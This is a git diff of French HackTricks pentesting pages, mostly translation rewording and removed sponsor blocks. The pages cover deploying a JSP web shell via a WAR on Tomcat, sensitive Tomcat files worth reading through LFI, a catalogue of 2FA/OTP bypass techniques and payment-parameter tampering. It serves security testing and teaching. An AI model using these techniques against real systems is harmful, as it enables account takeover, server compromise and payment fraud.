Obtenez un shell web JSP tel que [celui-ci](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) et créez un fichier WAR :
|
Obtenez un shell web JSP tel que [celui-ci](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) et créez un fichier WAR :
|
||||||
```bash
|
```bash
|
||||||
|
@ -239,15 +231,10 @@ msf> use post/windows/gather/enum_tomcat
|
||||||
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||||||
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
|
@ -1,31 +1,23 @@
|
||||||
# Informations de base sur Tomcat
|
# Informations de base sur Tomcat
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
### Évitez de fonctionner avec root
|
### Évitez de fonctionner avec root
|
||||||
|
|
||||||
Pour ne pas exécuter Tomcat avec root, une configuration très courante consiste à configurer un serveur Apache sur le port 80/443 et, si le chemin demandé correspond à une regexp, la requête est envoyée à Tomcat fonctionnant sur un port différent.
|
Pour ne pas exécuter Tomcat avec root, une configuration très courante consiste à mettre en place un serveur Apache sur le port 80/443 et, si le chemin demandé correspond à une regexp, la requête est envoyée à Tomcat fonctionnant sur un port différent.
|
||||||
|
|
||||||
### Structure par défaut
|
### Structure par défaut
|
||||||
```
|
```
|
||||||
|
@ -77,7 +69,7 @@ webapps/customapp
|
||||||
└── AdminServlet.class
|
└── AdminServlet.class
|
||||||
```
|
```
|
||||||
Le fichier le plus important parmi ceux-ci est `WEB-INF/web.xml`, qui est connu comme le descripteur de déploiement. Ce fichier stocke **des informations sur les routes** utilisées par l'application et les classes gérant ces routes.\
|
Le fichier le plus important parmi ceux-ci est `WEB-INF/web.xml`, qui est connu comme le descripteur de déploiement. Ce fichier stocke **des informations sur les routes** utilisées par l'application et les classes gérant ces routes.\
|
||||||
Toutes les classes compilées utilisées par l'application doivent être stockées dans le dossier `WEB-INF/classes`. Ces classes peuvent contenir une logique métier importante ainsi que des informations sensibles. Toute vulnérabilité dans ces fichiers peut conduire à une compromission totale du site web. Le dossier `lib` stocke les bibliothèques nécessaires à cette application particulière. Le dossier `jsp` stocke [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), anciennement connu sous le nom de `JavaServer Pages`, qui peut être comparé aux fichiers PHP sur un serveur Apache.
|
Toutes les classes compilées utilisées par l'application doivent être stockées dans le dossier `WEB-INF/classes`. Ces classes peuvent contenir une logique métier importante ainsi que des informations sensibles. Toute vulnérabilité dans ces fichiers peut conduire à un compromis total du site web. Le dossier `lib` stocke les bibliothèques nécessaires à cette application particulière. Le dossier `jsp` stocke [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), anciennement connu sous le nom de `JavaServer Pages`, qui peut être comparé aux fichiers PHP sur un serveur Apache.
|
||||||
|
|
||||||
Voici un exemple de fichier **web.xml**.
|
Voici un exemple de fichier **web.xml**.
|
||||||
```xml
|
```xml
|
||||||
|
@ -101,7 +93,7 @@ Le fichier de configuration `web.xml` ci-dessus définit un **nouveau servlet no
|
||||||
|
|
||||||
* **`classes/com/inlanefreight/api/AdminServlet.class`**
|
* **`classes/com/inlanefreight/api/AdminServlet.class`**
|
||||||
|
|
||||||
Ensuite, un nouveau mappage de servlet est créé pour **mapper les requêtes à `/admin` avec `AdminServlet`**. Cette configuration enverra toute requête reçue pour **`/admin` à la classe `AdminServlet.class`** pour traitement. Le descripteur **`web.xml`** contient beaucoup d'**informations sensibles** et est un fichier important à vérifier lors de l'exploitation d'une **vulnérabilité d'Inclusion de Fichier Local (LFI)**.
|
Ensuite, un nouveau mappage de servlet est créé pour **mapper les requêtes à `/admin` avec `AdminServlet`**. Cette configuration enverra toute requête reçue pour **`/admin` à la classe `AdminServlet.class`** pour traitement. Le descripteur **`web.xml`** contient beaucoup d'**informations sensibles** et est un fichier important à vérifier lors de l'exploitation d'une **vulnérabilité d'Inclusion de Fichiers Locaux (LFI)**.
|
||||||
|
|
||||||
### tomcat-users
|
### tomcat-users
|
||||||
|
|
||||||
|
@ -152,23 +144,18 @@ Le fichier nous montre à quoi chaque rôle `manager-gui`, `manager-script`, `ma
|
||||||
|
|
||||||
* [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090)
|
* [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Bypass 2FA/MFA/OTP
|
# Bypass de 2FA/MFA/OTP
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -10,140 +10,127 @@ Apprenez et pratiquez le hacking GCP : <img src="../.gitbook/assets/grte.png" al
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
## **Techniques de contournement améliorées de l'authentification à deux facteurs**
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
### **Accès direct à l'endpoint**
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
Pour contourner la 2FA, accédez directement à l'endpoint suivant, connaître le chemin est crucial. Si cela échoue, modifiez l'**en-tête Referrer** pour imiter la navigation depuis la page de vérification 2FA.
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
### **Réutilisation de jetons**
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
Réutiliser des jetons précédemment utilisés pour l'authentification dans un compte peut être efficace.
|
||||||
|
|
||||||
***
|
### **Utilisation de jetons non utilisés**
|
||||||
|
|
||||||
## **Techniques Améliorées de Bypass de l'Authentification à Deux Facteurs**
|
Extraire un jeton de son propre compte pour contourner la 2FA dans un autre compte peut être tenté.
|
||||||
|
|
||||||
### **Accès Direct à l'Endpoint**
|
### **Exposition de jeton**
|
||||||
|
|
||||||
Pour contourner 2FA, accédez directement à l'endpoint suivant, connaître le chemin est crucial. Si cela échoue, modifiez l'**en-tête Referrer** pour imiter la navigation depuis la page de vérification 2FA.
|
Vérifiez si le jeton est divulgué dans une réponse de l'application web.
|
||||||
|
|
||||||
### **Réutilisation de Token**
|
### **Exploitation du lien de vérification**
|
||||||
|
|
||||||
Réutiliser des tokens précédemment utilisés pour l'authentification dans un compte peut être efficace.
|
Utiliser le **lien de vérification par e-mail envoyé lors de la création du compte** peut permettre l'accès au profil sans 2FA, comme souligné dans un [post](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b) détaillé.
|
||||||
|
|
||||||
### **Utilisation de Tokens Non Utilisés**
|
### **Manipulation de session**
|
||||||
|
|
||||||
Extraire un token de son propre compte pour contourner 2FA dans un autre compte peut être tenté.
|
Initier des sessions pour le compte de l'utilisateur et celui d'une victime, et compléter la 2FA pour le compte de l'utilisateur sans procéder, permet d'essayer d'accéder à l'étape suivante dans le flux de compte de la victime, exploitant les limitations de gestion de session backend.
|
||||||
|
|
||||||
### **Exposition de Token**
|
### **Mécanisme de réinitialisation de mot de passe**
|
||||||
|
|
||||||
Vérifiez si le token est divulgué dans une réponse de l'application web.
|
Il est crucial d'examiner la fonction de réinitialisation de mot de passe, qui connecte un utilisateur à l'application après la réinitialisation, pour son potentiel à permettre plusieurs réinitialisations en utilisant le même lien. Se connecter avec les nouvelles informations d'identification réinitialisées pourrait contourner la 2FA.
|
||||||
|
|
||||||
### **Exploitation de Lien de Vérification**
|
### **Compromission de plateforme OAuth**
|
||||||
|
|
||||||
Utiliser le **lien de vérification par e-mail envoyé lors de la création du compte** peut permettre l'accès au profil sans 2FA, comme souligné dans un [post détaillé](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b).
|
Compromettre le compte d'un utilisateur sur une plateforme **OAuth** de confiance (par exemple, Google, Facebook) peut offrir une voie pour contourner la 2FA.
|
||||||
|
|
||||||
### **Manipulation de Session**
|
### **Attaques par force brute**
|
||||||
|
|
||||||
Initier des sessions pour le compte de l'utilisateur et celui d'une victime, et compléter 2FA pour le compte de l'utilisateur sans continuer, permet d'essayer d'accéder à l'étape suivante dans le flux de compte de la victime, exploitant les limitations de gestion de session backend.
|
#### **Absence de limite de taux**
|
||||||
|
|
||||||
### **Mécanisme de Réinitialisation de Mot de Passe**
|
|
||||||
|
|
||||||
Il est crucial d'examiner la fonction de réinitialisation de mot de passe, qui connecte un utilisateur à l'application après la réinitialisation, pour son potentiel à permettre plusieurs réinitialisations en utilisant le même lien. Se connecter avec les nouvelles informations d'identification réinitialisées pourrait contourner 2FA.
|
|
||||||
|
|
||||||
### **Compromission de Plateforme OAuth**
|
|
||||||
|
|
||||||
Compromettre le compte d'un utilisateur sur une plateforme **OAuth** de confiance (par exemple, Google, Facebook) peut offrir un moyen de contourner 2FA.
|
|
||||||
|
|
||||||
### **Attaques par Force Brute**
|
|
||||||
|
|
||||||
#### **Absence de Limite de Taux**
|
|
||||||
|
|
||||||
L'absence de limite sur le nombre de tentatives de code permet des attaques par force brute, bien que des limitations de taux silencieuses potentielles doivent être considérées.
|
L'absence de limite sur le nombre de tentatives de code permet des attaques par force brute, bien que des limitations de taux silencieuses potentielles doivent être considérées.
|
||||||
|
|
||||||
#### **Force Brute Lente**
|
#### **Force brute lente**
|
||||||
|
|
||||||
Une attaque par force brute lente est viable là où des limites de débit existent sans une limite de taux globale.
|
Une attaque par force brute lente est viable là où des limites de débit existent sans une limite de taux globale.
|
||||||
|
|
||||||
#### **Réinitialisation de Limite de Renvoi de Code**
|
#### **Réinitialisation de la limite de renvoi de code**
|
||||||
|
|
||||||
Le renvoi du code réinitialise la limite de taux, facilitant la poursuite des tentatives de force brute.
|
Le renvoi du code réinitialise la limite de taux, facilitant les tentatives de force brute continues.
|
||||||
|
|
||||||
#### **Contournement de Limite de Taux Côté Client**
|
#### **Contournement de la limite de taux côté client**
|
||||||
|
|
||||||
Un document détaille des techniques pour contourner les limitations de taux côté client.
|
Un document détaille des techniques pour contourner la limitation de taux côté client.
|
||||||
|
|
||||||
#### **Absence de Limite de Taux pour Actions Internes**
|
#### **Absence de limite de taux pour les actions internes**
|
||||||
|
|
||||||
Les limites de taux peuvent protéger les tentatives de connexion mais pas les actions internes du compte.
|
Les limites de taux peuvent protéger les tentatives de connexion mais pas les actions internes du compte.
|
||||||
|
|
||||||
#### **Coûts de Renvoi de Code SMS**
|
#### **Coûts de renvoi de code SMS**
|
||||||
|
|
||||||
Le renvoi excessif de codes par SMS entraîne des coûts pour l'entreprise, bien que cela ne contourne pas 2FA.
|
Le renvoi excessif de codes par SMS entraîne des coûts pour l'entreprise, bien que cela ne contourne pas la 2FA.
|
||||||
|
|
||||||
#### **Régénération Infinie de OTP**
|
#### **Régénération infinie d'OTP**
|
||||||
|
|
||||||
La génération infinie de OTP avec des codes simples permet la force brute en réessayant un petit ensemble de codes.
|
La génération infinie d'OTP avec des codes simples permet la force brute en réessayant un petit ensemble de codes.
|
||||||
|
|
||||||
### **Exploitation de Conditions de Course**
|
### **Exploitation de conditions de course**
|
||||||
|
|
||||||
L'exploitation des conditions de course pour le contournement de 2FA peut être trouvée dans un document spécifique.
|
L'exploitation des conditions de course pour contourner la 2FA peut être trouvée dans un document spécifique.
|
||||||
|
|
||||||
### **Vulnérabilités CSRF/Clickjacking**
|
### **Vulnérabilités CSRF/Clickjacking**
|
||||||
|
|
||||||
Explorer les vulnérabilités CSRF ou Clickjacking pour désactiver 2FA est une stratégie viable.
|
Explorer les vulnérabilités CSRF ou Clickjacking pour désactiver la 2FA est une stratégie viable.
|
||||||
|
|
||||||
### **Exploits de la Fonction "Se Souvenir de Moi"**
|
### **Exploits de la fonction "Se souvenir de moi"**
|
||||||
|
|
||||||
#### **Valeurs de Cookie Prévisibles**
|
#### **Valeurs de cookie prévisibles**
|
||||||
|
|
||||||
Deviner la valeur du cookie "se souvenir de moi" peut contourner les restrictions.
|
Deviner la valeur du cookie "se souvenir de moi" peut contourner les restrictions.
|
||||||
|
|
||||||
#### **Impersonation d'Adresse IP**
|
#### **Impersonation d'adresse IP**
|
||||||
|
|
||||||
Impersoner l'adresse IP de la victime via l'en-tête **X-Forwarded-For** peut contourner les restrictions.
|
Imiter l'adresse IP de la victime via l'en-tête **X-Forwarded-For** peut contourner les restrictions.
|
||||||
|
|
||||||
### **Utilisation de Versions Anciennes**
|
### **Utilisation de versions plus anciennes**
|
||||||
|
|
||||||
#### **Sous-domaines**
|
#### **Sous-domaines**
|
||||||
|
|
||||||
Tester des sous-domaines peut utiliser des versions obsolètes manquant de support 2FA ou contenir des implémentations 2FA vulnérables.
|
Tester des sous-domaines peut utiliser des versions obsolètes ne prenant pas en charge la 2FA ou contenir des implémentations 2FA vulnérables.
|
||||||
|
|
||||||
#### **Endpoints API**
|
#### **Endpoints API**
|
||||||
|
|
||||||
Les anciennes versions d'API, indiquées par des chemins de répertoire /v\*/, peuvent être vulnérables aux méthodes de contournement de 2FA.
|
Les anciennes versions d'API, indiquées par des chemins de répertoire /v\*/, peuvent être vulnérables aux méthodes de contournement de la 2FA.
|
||||||
|
|
||||||
### **Gestion des Sessions Précédentes**
|
### **Gestion des sessions précédentes**
|
||||||
|
|
||||||
Terminer les sessions existantes lors de l'activation de 2FA sécurise les comptes contre l'accès non autorisé depuis des sessions compromises.
|
Mettre fin aux sessions existantes lors de l'activation de la 2FA sécurise les comptes contre l'accès non autorisé à partir de sessions compromises.
|
||||||
|
|
||||||
### **Flaws de Contrôle d'Accès avec Codes de Sauvegarde**
|
### **Flaws de contrôle d'accès avec des codes de secours**
|
||||||
|
|
||||||
La génération immédiate et la récupération potentiellement non autorisée de codes de sauvegarde lors de l'activation de 2FA, en particulier avec des configurations CORS incorrectes/vulnérabilités XSS, posent un risque.
|
La génération immédiate et la récupération potentielle non autorisée de codes de secours lors de l'activation de la 2FA, en particulier avec des configurations CORS incorrectes/vulnérabilités XSS, posent un risque.
|
||||||
|
|
||||||
### **Divulgation d'Informations sur la Page 2FA**
|
### **Divulgation d'informations sur la page 2FA**
|
||||||
|
|
||||||
La divulgation d'informations sensibles (par exemple, numéro de téléphone) sur la page de vérification 2FA est une préoccupation.
|
La divulgation d'informations sensibles (par exemple, numéro de téléphone) sur la page de vérification 2FA est une préoccupation.
|
||||||
|
|
||||||
### **Réinitialisation de Mot de Passe Désactivant 2FA**
|
### **Réinitialisation de mot de passe désactivant la 2FA**
|
||||||
|
|
||||||
Un processus démontrant une méthode de contournement potentielle implique la création de compte, l'activation de 2FA, la réinitialisation de mot de passe, et la connexion subséquente sans l'exigence de 2FA.
|
Un processus démontrant une méthode de contournement potentielle implique la création de compte, l'activation de la 2FA, la réinitialisation du mot de passe et la connexion subséquente sans l'exigence de 2FA.
|
||||||
|
|
||||||
### **Requêtes Leurres**
|
### **Requêtes leurres**
|
||||||
|
|
||||||
Utiliser des requêtes leurres pour obscurcir les tentatives de force brute ou induire en erreur les mécanismes de limitation de taux ajoute une autre couche aux stratégies de contournement. La création de telles requêtes nécessite une compréhension nuancée des mesures de sécurité de l'application et des comportements de limitation de taux.
|
Utiliser des requêtes leurres pour obscurcir les tentatives de force brute ou induire en erreur les mécanismes de limitation de taux ajoute une autre couche aux stratégies de contournement. La création de telles requêtes nécessite une compréhension nuancée des mesures de sécurité de l'application et des comportements de limitation de taux.
|
||||||
|
|
||||||
### Erreurs de Construction de OTP
|
### Erreurs de construction d'OTP
|
||||||
|
|
||||||
Dans le cas où le OTP est créé sur la base de données que l'utilisateur possède déjà ou qui est envoyée précédemment pour créer le OTP, il est possible pour l'utilisateur de le générer également et de le contourner.
|
Dans le cas où l'OTP est créé en fonction des données que l'utilisateur possède déjà ou qui sont envoyées précédemment pour créer l'OTP, il est possible pour l'utilisateur de le générer également et de le contourner.
|
||||||
|
|
||||||
## Références
|
## Références
|
||||||
|
|
||||||
|
@ -151,17 +138,6 @@ Dans le cas où le OTP est créé sur la base de données que l'utilisateur poss
|
||||||
* [https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718](https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718)
|
* [https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718](https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718)
|
||||||
* [https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce](https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce)
|
* [https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce](https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce)
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
P
|
P
|
||||||
|
|
||||||
|
@ -175,7 +151,7 @@ Apprenez et pratiquez le hacking GCP : <img src="../.gitbook/assets/grte.png" al
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Techniques de contournement de paiement
|
## Techniques de contournement de paiement
|
||||||
|
|
||||||
### Interception de requêtes
|
### Interception de requêtes
|
||||||
|
@ -40,7 +32,7 @@ Si vous rencontrez un paramètre contenant une URL, en particulier un suivant le
|
||||||
|
|
||||||
### Manipulation de paramètres
|
### Manipulation de paramètres
|
||||||
1. **Changer les valeurs des paramètres** : Expérimentez en modifiant les valeurs des paramètres comme _Succès_, _Référent_ ou _Callback_. Par exemple, changer un paramètre de `false` à `true` peut parfois révéler comment le système gère ces entrées.
|
1. **Changer les valeurs des paramètres** : Expérimentez en modifiant les valeurs des paramètres comme _Succès_, _Référent_ ou _Callback_. Par exemple, changer un paramètre de `false` à `true` peut parfois révéler comment le système gère ces entrées.
|
||||||
